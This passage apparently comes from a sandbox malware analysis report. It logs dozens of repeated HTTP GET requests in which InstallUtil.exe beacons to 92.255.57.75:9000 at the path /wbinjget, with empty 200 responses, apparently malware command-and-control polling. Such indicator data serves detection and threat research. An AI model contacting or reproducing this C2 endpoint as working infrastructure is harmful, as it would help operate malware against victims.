Dec 17, 2024 08:40:11.507714033 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50032	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:11.740185976 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:13.065722942 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50037	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:13.317081928 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:14.640223026 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:13 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50042	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:14.867158890 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:16.198265076 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:15 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50045	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:16.426752090 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:17.753192902 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:16 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50051	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:17.995011091 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:19.320075989 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:18 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50056	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:19.553978920 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:20.877696037 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50057	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:21.115699053 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:22.441214085 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50058	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:22.677071095 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:24.007759094 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50059	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:24.240434885 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:25.566049099 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:24 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50060	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:25.804009914 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:27.130984068 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:26 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50061	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:27.366029978 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:28.693850040 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:27 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50062	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:28.930087090 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:30.258083105 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50063	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:30.680001974 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:32.009119987 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:30 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	50064	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:32.249742031 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:33.625737906 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50065	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:33.848486900 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:35.173243999 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50066	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:35.619545937 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:36.991256952 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:36 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50067	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:37.228353977 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:38.549453020 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50068	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:38.787163973 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:40.188420057 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50069	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:40.417041063 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:41.741317987 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:41 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50070	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:41.977050066 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:43.307354927 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50071	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:43.536818027 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:44.862238884 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:44 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50072	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:45.113240004 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:46.437074900 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50073	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:46.664926052 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:47.993709087 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50074	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:48.338260889 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:49.671852112 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50075	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:49.896032095 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:51.234958887 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50076	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:51.460655928 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:52.787404060 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50077	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:53.095660925 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:54.420016050 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50078	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:54.660604000 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:55.973613977 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50079	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:56.207631111 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:57.567919970 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:57 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50080	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:57.803107023 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:40:59.276324987 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:40:58 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50081	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:40:59.507127047 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:00.834048033 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:00 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50082	92.255.57.75	9000	5004	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:41:01.071043015 CET	86	OUT	GET /wbinjget?q=9F196B497BDFD0CED832D4AB8AAC3B4F HTTP/1.1 Host: 92.255.57.75:9000
Dec 17, 2024 08:41:02.398001909 CET	414	IN	HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, HEAD, GET, PUT, POST, DELETE, PATCH Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Accept: / Accept-Language: en-US, en Accept-Charset: ISO-8859-1, utf-8 Host: *:9000 Date: Tue, 17 Dec 2024 07:41:02 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
